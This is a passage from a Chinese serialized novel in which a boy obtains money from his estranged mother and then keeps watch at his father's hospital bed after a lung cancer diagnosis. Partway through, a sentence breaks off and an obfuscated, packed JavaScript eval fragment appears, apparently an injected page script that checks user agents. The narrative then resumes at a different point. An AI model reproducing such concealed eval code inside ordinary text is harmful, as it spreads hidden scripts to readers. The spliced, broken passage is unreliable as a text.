他往前走了几步,喉咙里像是堵了一团棉花,想喊却喊不出来。 “妈。” 声音很小,小到被机器的“嗡嗡”声完全吞没了。 他深吸一口气,又喊了一声,这次大了一点。 “妈!” 那个背影僵住了。 缝纫机的声音停了。 那个女人慢慢转过身来。 张小五看见了那张脸。那是一张被时间改变了太多的脸。比记忆中老了,瘦了,颧骨高了很多,眼角的皱纹像扇子一样散开。她的头发比以前少了,发际线往上退了一些,露出光洁的额头。嘴唇干裂,起了皮,脸色蜡黄,像是很久没有好好吃过一顿饭。 但是那双眼睛没有变。 那双眼睛还是大大的,亮亮的,里面有张小五熟悉的那种光——那种又温柔又倔强的光,像一盏在风里摇晃的灯,怎么吹都吹不灭。 王秀兰看着站在门口的儿子,手里的布料掉在了地上。 她张了张嘴,想说什么,但一个字都没说出来。她的嘴唇在颤抖,眼眶一下子就红了,泪水涌上来,在眼眶里打转,但被她使劲憋住了,没有掉下来。 车间里的其他女工都抬起头看着他们,有的好奇,有的疑惑,有的似乎明白了什么,露出了同情的表情。机器的“嗡嗡”声渐渐停了下来,车间变得异常安静。 王秀兰从椅子上站起来,慢慢走向张小五。她的腿在发抖,走了几步就加快了速度,最后几乎是跑过来的。 她在张小五面前停下来,低下头看着他的脸。她的个子不高,但张小五比她更矮,她需要微微弯下腰才能平视他的眼睛。 “小五。”她的声音沙哑得几乎听不清,“你怎么来了?” 张小五的眼泪一下子就涌了出来。他咬着嘴唇,拼命忍着,但眼泪根本不听他的话,像决堤的河水一样往外涌。他用袖子擦了一下脸,又擦了一下,越擦越多,最后干脆不擦了,就那么满脸泪水地站着,看着母亲。 “妈,我爸病了。”他说,声音断断续续的,像是从很远的地方传过来的,“他病得很重,他不肯去医院,他没有钱……” 王秀兰的脸色变了。她蹲下来,双手捧着张小五的脸,拇指擦去他脸上的泪水。她的手指很粗糙,指腹上有厚厚的茧,那是长年累月踩缝纫机磨出来的。但她的掌心很暖,暖得让张小五的眼泪流得更凶了。 “你爸怎么了?”她的声音在发抖,“什么病?” “肺……肺有问题。”张小五使劲吸了一下鼻子,“医生说要做进一步检查,但他没有做,他说没有钱。妈,你帮帮他好不好?你借我们一点钱,等我以后长大了还你,双倍还你,十倍还你……” “别说了。”王秀兰的声音忽然大了起来,大到把张小五吓了一跳。她站起来,转过身,背对着张小五,肩膀剧烈地颤抖着。 过了一会儿,她转过身来,脸上的表情已经变了。那种脆弱的、随时会碎掉的东西不见了,取而代之的是一种张小五从未见过的坚定。 “你在这里等着。”她说,然后快步走到车间里面的一间小办公室,推门进去了。 张小五站在车间门口,不知道发生了什么事。周围的女工小声地议论着什么,他听不清,也不想听。他只是站在那里,盯着那扇紧闭的办公室的门。 几分钟后,门开了。王秀兰走出来,手里拿着一个信封,鼓鼓囊囊的。她走到张小五面前,把信封塞进他手里。 “这里有三千块钱,你先拿着,带你爸去医院看病。”她说,语速很快,像是怕自己反悔,“如果不够,你再打电话给我。” 张小五握着那个信封,手指在发抖。信封是黄色的,牛皮纸做的,边角已经磨毛了,上面没有写字,只有一个红色的印章,印着工厂的名字。 “妈,这是你攒的?” “你别管。”王秀兰说,“你只管带你爸去看病。” 张小五看着手里的信封,又看着母亲的脸。那张脸上有泪痕,但眼睛很亮,亮得他不敢直视。 “妈,你跟我们回去吧。”他说。 王秀兰摇了摇头。 “妈不能回去。”她说,“妈在这里有工作,回去了就什么都没有了。你听话,带你爸去看病,有什么事给妈打电话。” 她从口袋里掏出一张纸条,上面写着一个电话号码:“这是妈的号码,你存好。有什么事就打这个电话,妈二十四小时开机。” 张小五接过纸条,小心翼翼地折好,放进贴身的口袋里。 王秀兰伸出手,最后揉了揉他的头发。那只手在他的头顶上停留了很久,像是在抚摸一件舍不得放手的宝贝。 “回去吧。”她说,“天快黑了,路上小心。” 张小五想说什么,但喉咙像是被什么东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他想了很久,直到公交车到站了,他还是没想出来。 下车的时候,天已经完全黑了。街灯一盏一盏地亮着,把整条街照得昏黄。张小五走在回家的路上,脚步很重,每一步都像是踩在棉花上。 他走到楼下的时候,看见了那棵老槐树。槐树已经长出了新叶子,在夜风里沙沙作响。他想起小时候母亲经常在这棵树下等他放学,手里拿着一个橘子或者一根冰棍。那时候母亲还没有走,父亲还没有酗酒,他们家还没有碎成一片一片的。 他收回目光,上了楼。 走到家门口的时候,他发现门是开着的。 不是虚掩着,是大敞着,像是有谁匆匆忙忙地冲出去,连门都忘了关。 张小五的心猛地一沉,像是有只手伸进胸腔里,攥住了他的心脏,狠狠地捏了一下。 他冲进屋里。 客厅的灯亮着,茶几上的纸条还在,他的画本还摊在桌上,翻到昨天画的那只猫。 但父亲不在。 卧室的门开着,床上的被子掀开着,枕头歪在一边。地上有一滩水,是打翻的杯子洒出来的。杯子的碎片散了一地,在灯光下反着光,像一片一片的碎玻璃做成的花。 张小五站在那片碎玻璃旁边,全身的血液像是被抽空了一样,脑袋嗡嗡作响。 他拿出手机,拨了父亲的号码。 “您拨打的电话已关机。” 他又拨了一遍。 “您拨打的电话已关机。” 他拨了第三遍,第四遍,第五遍。 每一遍都是同一个冰冷的女声,重复着同一句冰冷的话。 张小五握着手机的手在剧烈地发抖。他靠在墙上,慢慢地滑下去,最后坐在地上,背靠着冰凉的墙壁,面前是一地的碎玻璃。 他低下头,看见自己的鞋带散了。 他盯着那根散开的鞋带看了很久,然后弯下腰,慢慢地把它系好。 系完之后,他没有站起来,就那么坐在地上,抱着膝盖,把脸埋进膝盖里。 他没有哭。 他只是觉得冷。 冷得像是掉进了一个很深很深的冰窟窿里,四周都是冰,头顶上那一点点光亮正在一点一点地缩小,快要消失了。 他不知道父亲去了哪里。 他不知道父亲是去了医院,还是去了别的地方。 他不知道父亲会不会回来。 他什么都不知道。 他只知道,他必须找到他。 无论用什么方式,无论付出什么代价。 他必须找到他。 张小五从地上爬起来,拍了拍裤子上的灰,把地上的碎玻璃一片一片捡起来,扔进垃圾桶。他把茶几上的纸条重新叠好,放进口袋。他把画本合上,塞进书包。他把那扇敞开的门关上,锁好。 然后他穿上外套,把书包背好,确认了一下信封还在最里层的夹层里,又确认了一下母亲的电话号码还在口袋里。 他走到门口,回头看了一眼这间四十平米的老房子。 掉了墙皮的墙,有裂纹的茶几,弹簧坏掉的沙发,快死了的绿萝,还有那扇永远关不严的窗户。 这是他住了十三年的家。 他不知道下一次回来是什么时候。 他关上了门,锁好,把钥匙装进口袋。 然后他下楼,走进了夜色里。 街灯昏黄,树影婆娑。 张小五站在楼下,看着面前这条他走了无数遍的路。他不知道该往哪个方向走,但他知道,他必须走。 他迈出了第一步。 手机在口袋里震动了一下。 他掏出来一看,是一条短信。发件人是一个陌生号码。 短信只有一行字。 “市第一人民医院,住院部,三楼,306病房。” 张小五盯着那行字看了两秒钟,然后拔腿就跑。 他的书包在背上颠来颠去,鞋带又散了,但他没有停下来。他跑过那条老街,跑过包子铺,跑过学校门口,跑过公交站牌。 风在他耳边呼啸而过,把他的头发吹得乱七八糟。 他在跑。 跑向那个他不想去但又必须去的地方。 跑向那个他不知道会看到什么的地方。 跑向他的父亲。 跑向命运给他安排好的下一站。 那盏路灯下,他的影子被拉得很长很长,像一条细细的黑线,在这座城市的血管里,疯狂地奔涌。 9. 病房 张小五跑到市第一人民医院的时候,已经是晚上九点多了。 他不知道自己是怎么跑过来的。从家到医院,坐公交车都要四十分钟,他居然跑到了。他的肺像被火烧过一样,每一次呼吸都带着铁锈味,腿像灌了铅,每抬一步都重得像在泥沼里跋涉。他弯着腰,双手撑在膝盖上,大口大口地喘气,汗水顺着脸颊淌下来,滴在地上,洇出一个个小小的圆点。 住院部是一栋灰白色的大楼,灯火通明,像一艘在黑夜中航行的巨轮。张小五直起腰,迈着发软的腿走进去。大厅里很安静,只有护士站的值班护士在低头写着什么,消毒水的味道弥漫在空气中,刺得他鼻腔发酸。 他走到电梯前,按了上行键。电梯门打开,里面空无一人,镜子里的自己狼狈不堪——头发乱成一团,脸上全是汗和灰,衣服湿透了贴在身上,书包带子歪到了一边。他用袖子擦了擦脸,理了理头发,深吸一口气,按下了三楼。 电梯门在三楼打开,走廊很长,灯光是惨白的,照得墙壁和地板都泛着一层冷光。张小五走出来,左右看了看。走廊两边是一间一间的病房,门半掩着,里面传来各种声音——咳嗽声、呻吟声、呼噜声、电视机的声音。他沿着走廊往前走,眼睛盯着门上的号码:301、302、303、304、305…… 306。 他站在306病房门口,手放在门把手上,却迟迟没有推开门。 他害怕。 他害怕推开门之后看到的场景。他害怕父亲躺在床上,身上插满管子,脸色苍白,像一具活着的尸体。他害怕医生走过来,用那种同情的眼神看着他说“对不起,我们尽力了”。他害怕自己会哭,会崩溃,会变成一团烂泥,瘫在地上再也站不起来。 他把手从门把手上拿开,退后一步,靠在走廊的墙上,闭上眼睛。 冷静。张小五,你要冷静。 他把手伸进口袋,摸到了那个信封。信封还在,鼓鼓囊囊的,边角已经被汗水浸得有点发软。他又摸了摸另一个口袋,母亲的电话号码还在,那张纸条叠得方方正正的,和信封贴在一起。 他深吸了一口气,睁开眼睛,重新走到门口,推开了门。 306病房是个三人间,但只有中间那张床上有人。靠窗的床空着,被子叠得整整齐齐;靠门的床也空着,床头柜上落了一层薄薄的灰。 中间那张床上躺着张建国。 他穿着医院的条纹病号服,蓝白相间的,显得他整个人更瘦了。他的手臂上扎着留置针,透明的管子连到床头的输液架上,吊瓶里的药水一滴一滴地往下坠。他的脸色很差,不是那种惨白,而是一种灰黄色,像是秋天的枯叶。眼睛闭着,嘴唇干裂起皮,额头上搭着一条湿毛巾。 张小五轻手轻脚地走过去,在床边的椅子上坐下来。 他从来没有见过父亲这个样子。在他的记忆里,父亲是高大的、强壮的、像一座山一样的存在。他可以扛着一百斤的水泥爬六楼,可以连续工作十几个小时不休息,可以一只手把张小五举过头顶。但此刻,这座山塌了。他躺在这张窄小的病床上,像一棵被连根拔起的树,枝叶枯萎,树干干裂,再也撑不起一片阴凉。 张小五伸出手,轻轻握住父亲露在被子外面的手。那只手很凉,骨节分明,指甲缝里还有洗不掉的水泥灰。他握着那只手,感受着那微弱的温度,眼泪无声地滑了下来。 他没有出声,就那么坐着,握着父亲的手,任凭眼泪一滴一滴地掉在床单上。 过了大概十几分钟,张建国的眼皮动了动,慢慢睁开了。 他的目光有些涣散,像是从很远很远的地方跋涉而来,花了几秒钟才聚焦在张小五脸上。他看到儿子的时候,先是愣了一下,然后嘴角微微动了动,像是在笑,又像是在忍着什么。 “你来了。”他的声音沙哑得几乎听不清,像是砂纸在玻璃上摩擦。 张小五使劲吸了一下鼻子,用袖子擦了擦脸,尽量让自己的声音听起来正常一点:“爸,你怎么自己来医院了?你为什么不叫我?” 张建国没有回答这个问题。他看着张小五的脸,看着他哭红的眼睛和湿漉漉的袖子,嘴唇哆嗦了一下。 “你怎么找到这儿的?” “有人给我发了短信。”张小五说,“爸,是谁送你来的?” “工友。”张建国说,“老李,你见过的,就是上次来家里借扳手的那个。他下班来找我喝酒,看见我躺在地上,就叫了救护车。” 张小五想象着那个画面——父亲倒在地上,身边是打翻的杯子和碎玻璃,一个工友推门进来,惊慌失措地拨打120。那个画面在他脑子里太清晰了,清晰得让他觉得胸口闷得慌。 “医生怎么说?”他问。 张建国闭上了眼睛。 沉默了很久。 久到张小五以为他又睡着了。 然后他听见父亲的声音,很轻很轻,轻得像一片落叶。 “小五,爸可能……要拖累你了。” 张小五的心像被人狠狠攥了一把,疼得他几乎喘不过气来。他握紧父亲的手,声音在发抖:“爸,你别胡说。你不会有事的。我问了医生,现在的医学很发达,什么病都能治好。你只要好好配合治疗,很快就会好起来的。” 张建国睁开眼,看着天花板,眼角有泪水滑下来,流进耳朵里。 “医生说是肺癌。”他说,“中期。” 这四个字像四把刀,一刀一刀地扎进张小五的胸口。 肺癌。 中期。 他听过这个词。隔壁的王奶奶就是肺癌走的,从确诊到去世,只有三个月。她的儿女从外地赶回来,哭得死去活来,但人还是没了。葬礼那天张小五去了,看着那张黑白照片,觉得照片上的人那么陌生,跟生前完全不像。 他从来没有想过,这个词有一天会和他父亲联系在一起。 “不……”他的声音像是从嗓子眼里挤出来的,“不会的……爸,你骗我的对不对?你只是普通的肺炎对不对?” 张建国没有说话,只是反手握住了张小五的手。他的力气比从前小了很多,但握得很紧,像是在抓着一根救命稻草。 “爸,你别怕。”张小五的声音忽然变得很稳,稳得连他自己都觉得意外,“我去找医生,我问清楚,要多少钱,怎么治,我们想办法。我有钱,我妈妈给了我三千块,够住院费了,你先住着,不够我再想办法。” 他从口袋里掏出那个信封,举到父亲面前。信封被他的汗水浸得皱巴巴的,但里面那叠钱还是整整齐齐的。 张建国看着那个信封,眼睛里的光忽然暗了一下。 “你去找你妈了?”他的声音忽然变了,变得冷了一些。 张小五点了点头。 张建国把脸转向另一边,不看张小五,也不看那个信封。他的喉结上下动了几下,像是咽下了什么东西,很苦的东西。 “爸,你别这样。”张小五说,“妈她……她心里还有你。她听说你病了,二话不说就把钱给我了。这是她攒的,她自己在厂里也不容易……” “够了。”张建国的声音不大,但很硬,像一块石头,“把钱还给她。我不要她的钱。” “爸!” “我说不要就不要。”张建国转过头,看着张小五,眼睛里有一种近乎凶狠的光,“张小五,你听好了。你妈跟我们已经没有任何关系了。她走的那天起,她就是这个家的外人。我不需要她的施舍,你也不许再去找她。” 张小五握着那个信封,指节发白。他张了张嘴,想反驳,想说“你凭什么替我做决定”,想说“她是我妈,我去找她天经地义”,但看着父亲那张灰黄色的脸和那双布满血丝的眼睛,那些话像石头一样堵在喉咙里,一个都吐不出来。 他低下头,把信封塞回口袋。 “好。”他说,“爸你说什么就是什么。” 张建国看着儿子低下去的头,看着他微微颤抖的肩膀,忽然觉得自己是个混蛋。但他没有办法。他的自尊心是他这辈子剩下的最后一样东西了。老婆走了,身体垮了,工作没了,他什么都没有了,只剩下这一点可怜的自尊。如果连这个都要丢掉,他不知道自己还剩下什么。 他伸出手,想去摸张小五的头,但手伸到一半就停住了,悬在半空中,最后又缩了回去。 “小五。”他说,“爸对不起你。” 张小五抬起头,脸上的表情很平静,平静得不正常。他站起来,把椅子推回原位,拉了拉书包带子。 “爸,你好好休息。我去找医生问问情况。” 说完他转身走出了病房。 走廊里空荡荡的,惨白的灯光照在光洁的地板上,反射出一片冷光。张小五走到护士站,值班护士正在写护理记录,抬起头看了他一眼。 “你是306床张建国的家属?” “我是他儿子。” 护士上下打量了他一眼,眼神里有一点惊讶,大概觉得这个小孩看起来太小了。但她没有多说什么,只是指了指走廊尽头:“医生办公室在那边,王医生今晚值班,你去问他吧。” 张小五道了谢,走向医生办公室。门半开着,里面坐着一个三十多岁的男医生,戴着眼镜,正在看电脑屏幕。张小五敲了敲门,王医生抬起头,摘下眼镜。 “进来。” 张小五走进去,站在办公桌前。王医生看着他,表情很温和,但那种温和里有一种让张小五害怕的东西——那是医生对重病患者家属特有的温和,带着同情和歉意。 “你是张建国的……” “儿子。” 王医生沉默了一下,从打印机上拿下一张纸,递给他。 “你父亲的情 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王医生看着他,眼神里满是同情。他从抽屉里拿出一张名片,递给张小五。 “这是医院的社工部,如果你有经济上的困难,可以去咨询一下,看看能不能申请一些医疗救助或者慈善基金。” 张小五接过名片,点了点头,转身走出了办公室。 他没有回病房。他走到走廊尽头的窗户前,推开窗户,冷风“呼”地灌进来,吹在他滚烫的脸上。他趴在窗台上,看着外面黑沉沉的夜空。 没有星星。一颗都没有。 只有远处高楼上闪烁的红色航空灯,一明一暗,像一颗快要死掉的心脏在跳动。 张小五把脸埋进胳膊里,肩膀剧烈地颤抖着。 他没有发出声音。 在这个空荡荡的走廊里,在这个所有人都可能随时哭泣的地方,他选择了无声。 过了很久,他直起腰,用袖子擦了擦脸,深深地吸了一口气,然后慢慢地呼出来。 他把那张CT报告叠好,和母亲的电话号码放在同一个口袋里。他把王医生的名片也收好。然后他转过身,走回了306病房。 张建国还没有睡,他侧躺着,面朝窗户的方向,不知道在看什么。听到脚步声,他转过头,看见张小五走进来,眼眶又红又肿,但脸上没有泪痕。 “问完了?”他问。 “问完了。”张小五走到床边,把椅子拉过来坐下,“医生说等明天的活检结果出来再看。爸你别担心,我问了,这个病能治,很多治好的例子。你只要好好配合,该吃吃该睡睡,别想太多。” 张建国看着儿子的脸,那张年轻的、倔强的、故作镇定的脸。他忽然笑了,笑得眼眶发红。 “小五,你长大了。”他说。 张小五愣了一下,然后也笑了。他笑得很浅,嘴角只是微微弯了一下,但那一瞬间,他看起来不像一个十三岁的孩子,更像是一个被生活逼着提前长大的小大人。 “爸,你饿不饿?我去给你买点吃的。” “不饿。”张建国说,“你吃了吗?” 张小五这才想起来,他从早上出门到现在,只喝了几口自来水,什么都没吃。他的胃早就饿过了,现在反倒没什么感觉。 “吃了。”他说,“在来的路上吃的,一个肉包子,可大了。” 张建国看着他,没有说话。 张小五知道父亲不信,但他不在乎。他从书包里翻出画本,翻到新的一页,拿出铅笔,开始画。 他画的是这个病房。 他画了那张窄小的病床,画了床头柜上的水杯和药瓶,画了输液架上那袋还在往下滴的药水,画了窗外黑沉沉的夜空。他画了父亲躺在床上的样子——瘦削的脸,深陷的眼窝,露在被子外面的那只扎着留置针的手。 他画得很慢,一笔一笔地,像是在和这个房间对话,和这个夜晚对话,和这场突如其来的命运对话。 张建国看着他画画,看着他的手在纸面上移动,看着那些线条一点点地拼凑成一个完整的画面。他忽然觉得,也许这就是张小五的命。不管发生什么,他都会画画。高兴的时候画,难过的时候也画;有纸的时候画在纸上,没有纸的时候画在心里。 “小五。”他说。 “嗯。” “不管爸怎么样,你都要画下去。” 张小五的手停了一下,铅笔在纸上留下一个小小的黑点。 他没有抬头,也没有说话,只是继续画了下去。 铅笔在纸上沙沙地响,像秋天的落叶,像春天的细雨,像一个人在黑夜里轻轻地说着什么。 窗外,那颗红色的航空灯还在一下一下地闪。 一明。 一暗。 像一颗不肯熄灭的心。 10. 守夜 活检结果出来的那天,下了一场大雨。 张小五站在医院走廊的窗户前,看着外面的雨幕。雨大得像是天被人捅了个窟窿,哗哗地往下倒,对面的住院楼在雨里变成了一片模糊的灰白色影子。雨水顺着窗玻璃往下淌,一道道的水痕交错在一起,像一幅永远画不完的抽象画。 他已经在这条走廊上来来回回走了两个小时了。从早上八点开始,他就守在医生办公室门口,等着王医生上班。护士告诉他王医生今天有手术,要到中午才有空。他就一直等,坐在走廊的塑料椅子上,画本摊在膝盖上,画走廊里来来往往的人。 他画了一个拄着拐杖的老头,一步一步地往前挪,每一步都像是用尽了全身的力气。他画了一个抱着婴儿的年轻妈妈,婴儿在哭,她在哄,脸上的表情既疲惫又温柔。他画了一个穿着白大褂的医生,边走边看手里的病历夹,眉头紧锁,像在思考一个很难的问题。 这些画让他暂时忘记了恐惧。但每画完一张,恐惧就会像潮水一样涌回来,比上一次更高,更冷,更让人窒息。 中午十一点半,王医生终于从手术室出来了。他穿着绿色的手术服,帽子和口罩还没摘,看见张小五在门口等着,愣了一下,然后摘下口罩,露出一张疲惫的脸。 “你等很久了吧?” “还好。”张小五站起来,腿有点发麻,他扶着墙稳了稳,“王医生,我爸爸的活检结果出来了吗?” 王医生看了他一眼,没有立刻回答。他推开办公室的门,示意张小五进去。张小五跟在他后面,心跳得很快,快到他能听见自己的血液在耳朵里“嗡嗡”地响。 王医生坐到办公桌前,从抽屉里拿出一份文件,翻了几页,然后抬起头看着张小五。他的表情很严肃,但语气尽量放得平和。 “结果出来了。”他说,“病理报告确认是肺腺癌,中期,还没有发现远处转移。” 张小五坐在椅子上,两只手紧紧地攥着膝盖上的裤子。他的指甲嵌进布料里,指节白得像纸。 “那……能手术吗?” “可以。”王医生说,“肿瘤的位置在右肺上叶边缘,没有侵犯大血管和主要支气管,手术切除的可能性很大。但是……” 他停了一下,像是在斟酌措辞。 “但是手术费用不低。加上术前检查、术后放化疗、靶向药物,整个疗程下来,保守估计也要十几万。” 十几万。 张小五听到这个数字的时候,脑子里“嗡”的一声,像是有什么东西炸开了。他想起自己口袋里那三千块钱,那是母亲省吃俭用攒下来的全部积蓄。三千和十几万之间,隔着一道他怎么都跨不过去的鸿沟。 “医保能报销一部分。”王医生补充道,“你父亲有医保吗?” 张小五摇了摇头。父亲是临时工,工地上的活都是日结的,从来没有交过社保,更别说医保了。他只有一张新型农村合作医疗的卡,还是以前在农村老家办的,报销比例很低,而且很多项目报不了。 王医生沉默了一会儿,从抽屉里又拿出一张表格,推到张小五面前。 “这是医院的医疗救助申请表。你拿回去填一下,附上你家的低保证明或者贫困证明,交到社工部。他们可以帮你申请一些慈善基金,能解决一部分费用。” 张小五接过表格,看了一眼,上面密密麻麻的格子,需要填写家庭收入、财产状况、困难原因等等。他把表格折好,和那一沓越来越厚的纸张一起放进口袋。 “谢谢你,王医生。” “别谢我。”王医生站起来,拍了拍他的肩膀,那只手很沉,像是要把他按进地里,“你一个小孩,不容易。有什么困难随时来找我。” 张小五点点头,站起来,走出了办公室。 走廊里还是那条走廊,惨白的灯光,光洁的地板,来来往往的病人和家属。但张小五觉得一切都变了。空气变得更稠了,每走一步都要用力推开面前的空气,像在水里行走一样。 他走到306病房门口,深吸一口气,推门进去。 张建国正半靠在床上,手里拿着张小五的画本,一页一页地翻。他翻得很慢,每翻一页都要看很久,像是在读一本很厚的书。听到门响,他抬起头,把画本合上,放在枕头旁边。 “结果出来了?”他问。 张小五走过去,在床边坐下。他没有立刻回答,而是先拿起床头柜上的水杯,试了试温度,然后递给父亲。 “爸,你先喝口水。” 张建国接过水杯,喝了一口,把杯子放在床头柜上,眼睛一直盯着张小五的脸。 “说吧。”他说,“爸扛得住。” 张小五看着父亲的眼睛。那双眼睛浑浊但坚定,像两盏快要熄灭但还在拼命燃烧的灯。他知道瞒不住,也不想瞒。父亲不是小孩,他有权利知道自己的身体状况。 “是肺腺癌,中期。”张小五的声音很平,平到不像是在说一件跟自己有关的事,“王医生说可以手术,切掉肿瘤,再配合化疗和靶向药,有希望治好。” 张建国听着,脸上没有什么表情。他伸手摸了摸自己的右胸口,那个位置,在他的皮肤下面,有一个三厘米多的肿瘤正在生长,像一颗埋在土里的种子,但长出来的不是花,是毒。 “要多少钱?”他问。 张小五犹豫了一下,还是说了实话。 张建国听完那个数字之后,沉默了很久。久到张小五以为他睡着了。但他没有睡,他的眼睛一直睁着,看着天花板,目光空洞,像是在看一个很远很远的地方。 “小五。”他终于开口了。 “嗯。” “我们不治了。” “不行。”张小五的声音忽然大了起来,大到把自己都吓了一跳。他从椅子上站起来,双手撑着床沿,身体前倾,眼睛死死地盯着父亲,“爸,你不能说这种话。王医生说了能治好,有希望,你凭什么说不治就不治?” 张建国看着儿子激动的样子,嘴角微微弯了一下。那不是笑,是一种苦涩的、无奈的、心疼的表情。 “十几万。”他说,“爸一辈子都没攒下这么多钱。你现在让爸去哪儿弄?卖房子?那房子卖了也不值五万块。找你妈?爸说了,不要她的钱。” “我去挣。”张小五说,“我去打工,我去借钱,我去想办法。爸你只管治病,钱的事我来解决。” “你一个十三岁的孩子,谁要你?”张建国的声音忽然也大了起来,大到最后变成了咳嗽。他咳得很厉害,弯着腰,一只手捂着胸口,另一只手撑着床,脸涨得通红。 张小五赶紧过去扶他,给他拍背,递水。张建国咳了好一阵才缓过来,靠在枕头上,大口大口地喘气。 “张小五。”他喘着气说,“你给爸听好了。爸这辈子没什么本事,没给你攒下什么,但爸不能让你为了我给人家当牛做马。你要是敢去打工不读书,爸现在就拔了针头回家,死也死在家里。” 张小五的眼泪一下子就涌了出来。他咬着嘴唇,拼命忍着,但眼泪根本不听他的话,顺着脸颊淌下来,滴在病号服的蓝白条纹上。 “爸。”他的声音断断续续的,像是在水里挣扎的人,“你不能这样……你是我爸……我不能没有你……” 张建国的眼眶也红了。他伸出手,把张小五拉过来,让他靠在自己肩膀上。张小五的脸贴着父亲瘦削的肩胛骨,隔着薄薄的病号服,他能感觉到父亲的体温,还有那根根分明的骨头。 “小五,你听爸说。”张建国的声音很轻,轻得像是怕惊动什么,“爸不怕死。爸怕的是,爸死了以后,你一个人在这世上,孤零零的,没人管你。” “你不会死的。”张小五的声音闷在父亲的肩膀上,含混不清,“我不许你死。” 张建国没有再说话。他只是轻轻地拍着儿子的后背,像他小时候那样。一下,一下,又一下。节奏很慢,慢得像一首古老的摇篮曲。 窗外的雨还在下,哗哗的,像是老天爷也在哭。 张小五不知道自己哭了多久。他只知道等他从父亲肩膀上抬起头的时候,外面的雨已经小了,从倾盆大雨变成了淅淅沥沥的小雨,窗玻璃上的水痕从一道道变成了密密麻麻的水珠,像一颗一颗透明的泪珠挂在上面。 他用手背擦了擦脸,站起来,走到卫生间洗了把脸。镜子里的自己眼睛肿得像桃子,鼻子红红的,嘴唇干裂起皮,看起来狼狈极了。他用冷水拍了拍眼睛,又拍了拍,直到红肿稍微消退了一点,才从卫生间出来。 张建国已经躺下了,眼睛闭着,呼吸很重。张小五把被子往上拉了拉,盖住他的肩膀,然后坐回椅子上,拿出画本。 他翻到新的一页,画了窗外的雨。他没有画窗户,只画了窗玻璃上的水珠。那些水珠大大小小,有的圆润,有的拉长,有的连在一起,像一条微型的小河。他用橡皮在铅灰色调子上擦出那些水珠的高光,让它们看起来晶莹剔透的,像是真的水珠挂在纸上。 画完之后,他在旁边写了一行字:“爸爸说他不怕死。但我知道他在说谎。他怕的是我。” 下午三点多的时候,病房的门被敲响了。 张小五打开门,门口站着两个人。一个是李老师,另一个是周扬。 李老师穿着一件深蓝色的风衣,手里提着一个水果篮和一个保温袋。周扬跟在后面,手里抱着一摞书和笔记本,气喘吁吁的,像是跑了很多路。 “李老师?周扬?你们怎么来了?” “你两天没来上学了,我打电话你也不接。”李老师走进病房,看了一眼床上的张建国,声音放低了,“张小五,你爸的事我都听说了。这么大的事,你怎么不跟老师说?” 张小五低下头,不知道该说什么。他不是不想说,是不知道怎么开口。他从小到大都不习惯跟别人说自己的事,不管是好事还是坏事,他都习惯一个人扛着。 周扬把那摞书和笔记本放在床头柜上,转过身看着张小五,眼眶红红的。 “张小五,你是不是不把我们当朋友?”他的声音有点哑,“你爸住院了,你一个人扛着,连个信都不给。要不是我去问李老师,我还蒙在鼓里呢。” “我……”张小五张了张嘴,不知道该怎么解释。 张建国这时候醒了。他睁开眼,看到病房里多了两个人,愣了一下,然后挣扎着要坐起来。 “李老师来了?”他的声音很虚弱,但尽力保持着客气,“坐,坐,小五,给老师倒水。” “张大哥,你别动,躺着就好。”李老师赶紧走过去,把水果篮放在床头柜上,在床边坐下来。她看着张建国的脸,眼神里有一种很复杂的东西——心疼、同情、还有一点无力感。 “张大哥,小五的事你不用担心。学校那边我会安排好,功课也不会落下。你只管安心养病,孩子的事有我们。” 张建国看着李老师,嘴唇哆嗦了一下。他这个人,一辈子最怕的就是欠别人的人情。但此刻,他躺在病床上,身上插着管子,口袋里没有一分钱,连给儿子交学费的本事都没有。他没有任何资格说“不用了”。 “李老师,谢谢你。”他的声音很轻,“小五这孩子……麻烦你了。” “不麻烦。”李老师说,“小五是我教过最用功的学生,他的画很有灵气,我舍不得让他被耽误。” 周扬在旁边站了半天,忽然从口袋里掏出一个信封,塞到张小五手里。 “这是我的一点心意,你别推。”他说,语速很快,像是怕张小五拒绝,“不是我的钱,是我妈给的。我跟她说了你爸的事,她说让我带过来,算是……算是借给你的。等你以后当了画家,再还。” 张小五握着那个信封,不用打开就知道里面有多少。他认识这种信封,周扬他妈开公司,用的都是这种定制的信封,上面印着公司logo。他捏了捏厚度,大概有五千块。 “周扬,这太多了……” “多什么多?”周扬瞪了他一眼,“你救你爸的命,多少钱都不算多。你要是不收,我现在就走,以后再也不理你了。” 张小五看着周扬的脸。那张圆圆的、总是笑嘻嘻的脸,此刻绷得紧紧的,眼眶红红的,嘴唇抿成一条线。他从来没有见过周扬这个样子。在他眼里,周扬永远是一个没心没肺、只想着吃和睡的富二代,但此刻,他看到了这个少年心里的柔软和善良。 他把信封收下了,没有再说推辞的话。他只是用力地握了握周扬的手,握了很久,久到周扬都不好意思了,把手抽了回去。 “你别这么肉麻。”周扬嘟囔了一句,转过身去,假装看墙上的挂钟。 李老师走的时候,在门口单独跟张小五说了几句话。 “张小五,你爸的事,学校那边我去沟通。你这 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周扬跟在后面,走到走廊拐角的时候回过头,朝张小五做了一个手势——他竖起大拇指,然后又比了一个“V”,然后咧嘴笑了,笑得很用力,露出两排白牙。 张小五也笑了。他笑得很轻,但那是这一天以来,他第一次笑。 晚上,张小五在父亲的病床边支了一张折叠椅,盖着从家里带来的毯子,就这么睡。 医院的夜晚很安静,安静得能听见走廊里护士走路的脚步声,安静得能听见隔壁病房传来的呼吸声,安静得能听见输液瓶里的药水一滴一滴落下来的声音。 张小五躺在折叠椅上,翻来覆去睡不着。他睁着眼睛看着天花板,天花板上有一盏日光灯,关着,但灯管里还残留着一点点余光,像一条细细的银线。 他转过头,看着父亲的侧脸。月光从窗帘的缝隙里挤进来,照在父亲脸上,把他的轮廓勾勒得格外清晰——高高的颧骨,深陷的眼窝,微微张开的嘴唇,还有下巴上冒出来的青色的胡茬。 张小五轻手轻脚地从折叠椅上爬起来,摸到画本和铅笔,就着那一点月光,开始画。 他画的是父亲睡觉的样子。他用很轻很轻的线条,轻到几乎看不见,一笔一笔地勾出父亲的轮廓。他不敢用力,怕铅笔的沙沙声吵醒父亲。他画得很慢,慢到画完一张脸用了将近一个小时。 画完之后,他把画本合上,抱在怀里,重新躺回折叠椅上。 这一次他很快就睡着了。 